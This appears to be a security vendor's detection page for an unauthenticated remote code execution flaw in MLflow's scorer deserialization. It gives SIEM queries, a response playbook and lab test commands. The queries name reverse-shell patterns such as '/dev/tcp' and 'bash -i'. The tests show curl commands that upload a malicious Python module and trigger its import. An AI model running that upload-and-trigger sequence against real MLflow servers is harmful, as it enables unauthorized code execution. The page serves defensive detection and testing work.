MLflow Unauthenticated RCE via Third-Party Scorer Deserialization (CVE-2026-116692)
Detects exploitation of CVE-2026-116692, a critical (CVSS 9.8) remote code execution vulnerability in MLflow versions >= 3.12.0rc0 and < 3.17.0. Unauthenticated MLflow tracking servers deserialize third-party scorers and import caller-placed artifact modules, allowing an attacker to upload a malicious Python module as an artifact and have the server import/execute it (CWE-94 code injection, CWE-470 unsafe reflection). Detection focuses on anomalous artifact uploads to the MLflow REST API, child-process spawning from the MLflow/gunicorn server process, and HTTP requests to scorer/evaluation endpoints from unauthenticated clients.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- pip
- Product
- mlflow
- Versions
- >= 3.12.0rc0, < 3.17.0
Timeline
- Disclosed
- October 27, 2026
References & Proof of Concept
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
What is CVE-2026-116692 MLflow Unauthenticated RCE via Third-Party Scorer Deserialization (CVE-2026-116692)?
MLflow Unauthenticated RCE via Third-Party Scorer Deserialization (CVE-2026-116692) (CVE-2026-116692) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for MLflow Unauthenticated RCE via Third-Party Scorer Deserialization (CVE-2026-116692), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, DeviceProcessEvents, DeviceNetworkEvents. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-1ac4f0622c · https://df00tech.com/detections/CVE-2026-116692 · licence: https://df00tech.com/detections/licence
let MLflowPaths = dynamic(["/api/2.0/mlflow/artifacts/upload", "/api/2.0/mlflow-artifacts/artifacts", "/api/2.0/mlflow/scorers", "/api/2.0/mlflow/runs/log-model", "/evaluate", "/scorers"]);
let suspiciousExt = dynamic([".py", ".pkl", ".pickle", ".cloudpickle", ".dill"]);
union isfuzzy=true
(DeviceProcessEvents
| where InitiatingProcessFileName in~ ("mlflow", "gunicorn", "python", "python3", "uvicorn")
| where InitiatingProcessCommandLine has_any ("mlflow", "mlflow.server", "gunicorn")
| where FileName in~ ("sh", "bash", "cmd.exe", "powershell.exe", "curl", "wget", "nc", "ncat", "python", "python3")
| where ProcessCommandLine has_any ("-c", "/dev/tcp", "base64", "socket", "subprocess", "os.system", "reverse", "bash -i")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName),
(DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("mlflow", "gunicorn", "python", "python3")
| where InitiatingProcessCommandLine has "mlflow"
| where RemotePort !in (80, 443, 5000)
| where ActionType == "ConnectionSuccess"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort, InitiatingProcessCommandLine)
| sort by TimeGenerated desc Finds child processes (shells, interpreters, network tools) spawned by an MLflow/gunicorn server process, and outbound connections from that server to non-standard ports — behavior consistent with post-exploitation of the scorer-deserialization RCE.
Data Sources
Required Tables
False Positives
- Legitimate MLflow projects that spawn subprocesses as part of a training/evaluation entry point
- Data scientists running ad-hoc Python shells on the tracking server host
- Scheduled jobs or CI runners executing MLflow CLI commands that fork helper processes
Query fingerprint DF00-1ac4f0622c · licence
Sigma logsource & community rules
The detection logic for MLflow Unauthenticated RCE via Third-Party Scorer Deserialization (CVE-2026-116692) (CVE-2026-116692) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-116692
References (5)
- https://github.com/mlflow/mlflow/security/advisories/GHSA-26p8-2jq9-3vq9
- https://github.com/mlflow/mlflow/pull/25906
- https://github.com/mlflow/mlflow/commit/a732443e695c3c677680c54320efc394c81654ab
- https://github.com/mlflow/mlflow/releases/tag/v3.17.0
- https://github.com/advisories/GHSA-26p8-2jq9-3vq9
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Upload Python module artifact to unauthenticated MLflow server
Expected signal: PUT request to /mlflow-artifacts/artifacts with a .py filename in web/MLflow access logs
- Test 2 Invoke scorer/evaluate endpoint to trigger module import
Expected signal: POST request to /mlflow/scorers (or /evaluate) following an artifact upload from the same source IP
- Test 3 MLflow server spawns a shell (post-exploitation simulation)
Expected signal: Child process (bash/python) launched with an MLflow/gunicorn parent command line
Response Playbook
Triage
- Identify the MLflow server version on the affected host (pip show mlflow); confirm it falls within >= 3.12.0rc0 and < 3.17.0 and is therefore vulnerable.
- Determine whether the tracking server is exposed without authentication and reachable from untrusted networks — the vulnerability requires unauthenticated access to the scorer/evaluation path.
- Review web/proxy and MLflow access logs for PUT/POST uploads of .py/.pkl/.cloudpickle/.dill artifacts followed by calls to scorer or /evaluate endpoints from the same source IP.
- Inspect the artifact store directory for recently added Python modules or pickle files that do not correspond to legitimate model logging activity.
Containment
- Block untrusted network access to the MLflow tracking server (firewall/security group) and place it behind an authenticating reverse proxy immediately.
- Upgrade MLflow to >= 3.17.0, which fixes the scorer-deserialization import behavior.
- If compromise is suspected, isolate the host from the network and preserve it for forensics before remediation.
Evidence Collection
- Capture the MLflow artifact store contents, focusing on attacker-uploaded Python/pickle modules, and compute hashes for IOC sharing.
- Export MLflow server, gunicorn/uvicorn, and reverse-proxy access logs covering the suspected exploitation window, plus EDR process/network telemetry for the server process tree.
Escalation Criteria
- ! Escalate to incident response if a child process (shell, interpreter, or network tool) was spawned by the MLflow server process or if outbound connections to attacker infrastructure are observed.
- ! Escalate if attacker-controlled modules are confirmed present in the artifact store or if lateral movement / credential access from the server host is detected.
Investigation Guide
Forensic Artifacts
- >
Attacker-uploaded Python/pickle module files in the MLflow artifact store - >
MLflow and gunicorn/uvicorn access logs showing the upload-then-evaluate request sequence - >
Process-tree telemetry showing child processes of the MLflow server - >
Outbound network connections from the MLflow server process to non-standard ports
Tuning Guidance
cloudpickle is MLflow's default model serialization format, so artifact uploads of .pkl/.cloudpickle are expected — focus on the correlation of unauthenticated upload followed by a scorer/evaluate call, and on any child-process or outbound-connection activity from the server. Baseline legitimate MLOps source IPs and training pipelines, then alert on deviations. Tighten severity when the server is confirmed internet-exposed and unauthenticated.
Hunting Queries
Hunts for MLflow server child processes and clustered artifact-upload/evaluate requests indicative of exploitation.
// df00tech DF00-1ac4f0622c · https://df00tech.com/detections/CVE-2026-116692 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessCommandLine has "mlflow" | where FileName in~ ("sh","bash","python","python3","curl","wget","nc") | project TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessCommandLine ``` df00tech DF00-1ac4f0622c · https://df00tech.com/detections/CVE-2026-116692 · licence: https://df00tech.com/detections/licence ```
index=* sourcetype=mlflow:access (uri_path="*artifacts*" OR uri_path="*scorers*" OR uri_path="*evaluate*") (method=PUT OR method=POST) | stats count values(uri_path) by clientip | where count>2 Atomic Red Team Tests
Simulates an attacker uploading a malicious Python module as an artifact to a lab MLflow tracking server with no authentication.
Command
curl -s -X PUT "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/evil_scorer.py" --data-binary 'import os; os.system("id > /tmp/mlflow_poc.txt")' Cleanup
curl -s -X DELETE "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/evil_scorer.py"; rm -f /tmp/mlflow_poc.txt Expected Telemetry
PUT request to /mlflow-artifacts/artifacts with a .py filename in web/MLflow access logs
Expected Detection
SPL/QRadar/Sumo queries flag the .py artifact upload to the MLflow artifact endpoint.
Simulates calling the scorer/evaluate endpoint that imports the previously uploaded caller-placed module.
Command
curl -s -X POST "http://127.0.0.1:5000/api/2.0/mlflow/scorers" -H 'Content-Type: application/json' -d '{"scorer":"evil_scorer","artifact_path":"evil_scorer.py"}' Cleanup
echo 'no artifacts to clean for this step' Expected Telemetry
POST request to /mlflow/scorers (or /evaluate) following an artifact upload from the same source IP
Expected Detection
Upload-then-evaluate correlation in the SPL/Sumo/QRadar queries fires.
Simulates the code-execution outcome by having a process resembling the MLflow server spawn a shell that runs a command.
Command
bash -c 'exec -a guncorn-mlflow bash -c "bash -c id"' ; python3 -c "import subprocess; subprocess.run(['bash','-c','id'])" Cleanup
echo 'no persistent changes made' Expected Telemetry
Child process (bash/python) launched with an MLflow/gunicorn parent command line
Expected Detection
KQL/EQL/Chronicle/CrowdStrike process-chain rules detect the server-spawned shell.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040